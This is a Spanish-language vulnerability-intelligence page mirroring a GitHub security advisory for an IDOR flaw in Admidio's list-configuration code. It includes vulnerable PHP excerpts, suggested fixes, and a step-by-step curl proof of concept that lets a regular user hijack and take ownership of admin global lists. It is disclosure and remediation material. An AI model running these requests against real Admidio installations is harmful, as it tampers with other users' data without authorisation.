llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Packagist · admidio/admidio

GHSA-RW2J-8C57-X6H2

IDOR in `save_temporary` mode of mylist_function.php allows authenticated user to hijack admin-curated global lists and arbitrary user list configurations

Sin parche publicado
Descargar PNG JSON
CVSS 3.1
4.3
Media
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición122 dDesde la divulgación, 20 jul 2026, 9:39 a. m.
Detección121 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Monitoreo
Detectada +1
20 jul 26
18 nov 26
19 nov 26
20 jul 26
20 ago 26
19 sept 26
20 oct 26
19 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-RW2J-8C57-X6H2 divulgada · CVSS 4.3 (GitHub)
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Summary

The `save_temporary` branch in `modules/groups-roles/mylist_function.php` accepts a user-supplied `list_uuid` and overwrites the referenced `ListConfiguration` record without verifying ownership or administrator rights. Any authenticated user can therefore enumerate global list UUIDs (they are returned to every logged-in user by the list selector) and overwrite admin-curated global lists or other users' private lists. Because `ListConfiguration::save()` unconditionally sets `lst_usr_id` to the current user and the `save_temporary` path unconditionally forces `lst_global = 0`, each successful call also transfers ownership to the attacker and demotes the list from global to personal, removing it from every other user's list selector.

Details

Missing ownership check in `save_temporary` (modules/groups-roles/mylist_function.php:68-82):

$list = new ListConfiguration($gDb);
if ($getListUuid !== '') {
    $list->readDataByUuid($getListUuid);
}

// check if user has the rights to edit this list
if ($getMode !== 'save_temporary') {
    // global lists can only be edited by administrator
    if ($list->getValue('lst_global') == 1 && !$gCurrentUser->isAdministrator()) {
        throw new Exception('SYS_NO_RIGHTS');
    } elseif ((int)$list->getValue('lst_usr_id') !== $gCurrentUserId
        && $list->getValue('lst_global') == 0 && $list->getValue('lst_id') > 0) {
        throw new Exception('SYS_NO_RIGHTS');
    }
}

For every other mode (`save`, `save_as`, `delete`) this block rejects non-admin users acting on global lists, and rejects any user acting on lists owned by someone else. For `save_temporary` it is skipped entirely, and execution falls through to the write branch at line 85 which mutates and persists the record.

Write/transfer-of-ownership path (modules/groups-roles/mylist_function.php:85-131):

if (in_array($getMode, array('save', 'save_as', 'save_temporary'))) {
    ...
    $columnNumber = 1;
    array_map(function ($col, $sort = null, $cond = null) use ($list, $gProfileFields, &$columnNumber) {
        if (empty($col)) { $list->deleteColumn($columnNumber, false); return null; }
        if (StringUtils::strStartsWith($col, 'usr_') || StringUtils::strStartsWith($col, 'mem_')) {
            $list->addColumn($col, $columnNumber, $sort ?? '', $cond ?? '');
        } else {
            $list->addColumn($gProfileFields->getProperty($col, 'usf_id'), $columnNumber, $sort ?? '', $cond ?? '');
        }
        $columnNumber++;
        return null;
    }, $columns, $sorts, $conditions);

    $list->deleteColumn($columnNumber, true);
    ...
    if (in_array($getMode, array('save', 'save_as')) && $gCurrentUser->isAdministrator()) {
        $list->setValue('lst_global', $globalConfiguration);
    } else {
        $list->setValue('lst_global', 0);  // save_temporary always lands here
    }

    $list->save();

`save_temporary` never hits the admin branch, so `lst_global` is forced to `0` even when the row was loaded from an existing global list.

Ownership rewrite in ListConfiguration::save() (src/Roles/Entity/ListConfiguration.php:1185-1201):

public function save(bool $updateFingerPrint = true): bool
{
    global $gCurrentOrgId;
    $this->db->startTransaction();
    $this->setValue('lst_timestamp', DATETIME_NOW);
    $this->setValue('lst_usr_id', $GLOBALS['gCurrentUserId']);   // <-- unconditional
    ...
    if ((int)$this->getValue('lst_global') !== 1) {
        $this->setValue('lst_global', 0);
    }

Because the row has already been loaded via `readDataByUuid()`, `parent::save()` performs an UPDATE against the existing `lst_id`, not an INSERT. The admin's global list row is rewritten in place with the attacker as the new `lst_usr_id`.

Global list UUIDs are enumerable by every logged-in user (modules/groups-roles/mylist.php:462-468):

$sql = 'SELECT lst_id, lst_uuid, lst_name, lst_global, lst_timestamp
          FROM ' . TBL_LISTS . '
         WHERE lst_org_id = ?
           AND (  lst_usr_id = ?
               OR lst_global = true)
      ORDER BY lst_global ASC, lst_name ASC, lst_timestamp DESC';

CSRF check is not a barrier — `Session::getFormObject()` (`src/Session/Entity/Session.php:175-183`) simply looks up the supplied token in the session's own form-object map. Any `FormPresenter` the attacker has obtained by visiting `mylist.php` in their own session satisfies the check.

Only gatekeepers present:
* `login_valid.php` (any authenticated session).
* The self-referential CSRF check described above.
* A non-empty `column[]` payload (trivially satisfied).
* For `save_temporary`, a non-empty `sel_roles[]` (any role UUID the attacker can see).

There is no check that the UUID-referenced record belongs to the current user, and no check that the user is an administrator when the existing record is global.

PoC

Assumptions:
* Admidio instance running locally at `https://target/`.
* Attacker is a regular (non-admin) authenticated user holding cookie `PHPSESSID=<ATTACKER>`.
* `GLOBAL_UUID` is a `lst_uuid` enumerated from the mylist configuration selector.
* `ROLE_UUID` is any role UUID the attacker is able to see in the UI.
* `CSRF` is any valid CSRF token harvested from the attacker's own `mylist.php` page (the `adm_csrf_token` hidden field of `adm_mylist_configuration_form`).

Step 1 — enumerate global list UUIDs (requires only an authenticated session):

curl -k -b 'PHPSESSID=<ATTACKER>' \
  'https://target/adm_program/modules/groups-roles/mylist.php'
# Parse the <select name="list_uuid"> options; entries rendered under
# the "preset configurations" group are admin-created global lists.

Step 2 — hijack the global list. `list_uuid` is passed on the query string; all other fields are the POST form body:

curl -k -b 'PHPSESSID=<ATTACKER>' \
  -X POST 'https://target/adm_program/modules/groups-roles/mylist_function.php?mode=save_temporary&list_uuid=GLOBAL_UUID' \
  --data-urlencode 'adm_csrf_token=CSRF' \
  --data-urlencode 'column[]=usr_login_name' \
  --data-urlencode 'sort[]=ASC' \
  --data-urlencode 'condition[]=' \
  --data-urlencode 'sel_roles[]=ROLE_UUID'

Expected server behaviour (verified by code trace):
* `mylist_function.php:74` skips the ownership / global-admin check because `$getMode === 'save_temporary'`.
* `addColumn()` overwrites column 1 with `usr_login_name`; `deleteColumn(2, true)` removes all remaining columns of the admin's list.
* Line 128 forces `lst_global = 0`.
* `ListConfiguration::save()` line 1192 forces `lst_usr_id = <attacker-user-id>`.
* Response: `{"status":"success","url":"...lists_show.php?list_uuid=GLOBAL_UUID..."}`.

Step 3 — verify hijack:

# Attacker: the formerly-global list now appears under "Your configurations"
curl -k -b 'PHPSESSID=<ATTACKER>' 'https://target/adm_program/modules/groups-roles/mylist.php'

# Other user (including administrators): the global list is gone from the
# selector because lst_global=0 AND lst_usr_id != their id
curl -k -b 'PHPSESSID=<OTHER_USER>' 'https://target/adm_program/modules/groups-roles/mylist.php'

Step 4 — because `lst_usr_id` now matches the attacker, the normal `save` and `delete` modes pass the ownership check on line 78-80, so the attacker can continue mutating or delete the hijacked list outright.

Impact

  • Integrity: Any authenticated user can silently overwrite the column set, sort order, filter conditions, and name of administrator-curated global list configurations (and of any private list whose UUID leaks to the attacker).
  • Availability (feature-level): Because the hijack flips `lst_global` to `0` and transfers `lst_usr_id` to the attacker, the list disappears from every other user's mylist selector, including administrators'. Recovery requires an administrator noticing the loss and recreating the list.
  • Horizontal privilege escalation on list objects: After a single `save_temporary` call, the attacker owns the target row and can use the regular `save` / `delete` modes on it.
  • No direct leakage of role member data beyond what the attacker could already display via a newly-created list, so the impact is bounded by list-configuration integrity/availability rather than confidentiality of user data.

Recommended Fix

Apply the same ownership and global-admin enforcement to `save_temporary` that every other mode already uses. The simplest correct fix is to move the check out of the `if ($getMode !== 'save_temporary')` guard and always run it when `$list->getValue('lst_id') > 0`:

$list = new ListConfiguration($gDb);
if ($getListUuid !== '') {
    $list->readDataByUuid($getListUuid);
}

// Ownership / admin enforcement — applies to every mode, including save_temporary.
if ((int)$list->getValue('lst_id') > 0) {
    if ($list->getValue('lst_global') == 1 && !$gCurrentUser->isAdministrator()) {
        throw new Exception('SYS_NO_RIGHTS');
    }
    if ((int)$list->getValue('lst_usr_id') !== $gCurrentUserId
        && $list->getValue('lst_global') == 0) {
        throw new Exception('SYS_NO_RIGHTS');
    }
}

Alternatively (and matching the actual UI flow at `mylist.php:390`, which never sends `list_uuid` with `save_temporary`), force `save_temporary` to always operate on a fresh, unsaved `ListConfiguration`, ignoring any attacker-supplied `list_uuid`:

if ($getMode === 'save_temporary') {
    $list = new ListConfiguration($gDb);              // always start fresh
} else {
    $list = new ListConfiguration($gDb);
    if ($getListUuid !== '') {
        $list->readDataByUuid($getListUuid);
    }
}

Either fix blocks the IDOR while preserving the legitimate "configure list and display temporarily" user flow.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:L
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:N
AltoBajoNinguno
IntegridadI:L
AltoBajoNinguno
DisponibilidadA:N
AltoBajoNinguno
Versiones

Rangos afectados

Afectada Corregida
admidio/admidio≤ 5.0.10
5.0.10
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
Packagistadmidio/admidio
Sin parche — — —
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/Admidio/admidio/security/advisories/GHSA-rw2j-8c57-x6h2

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.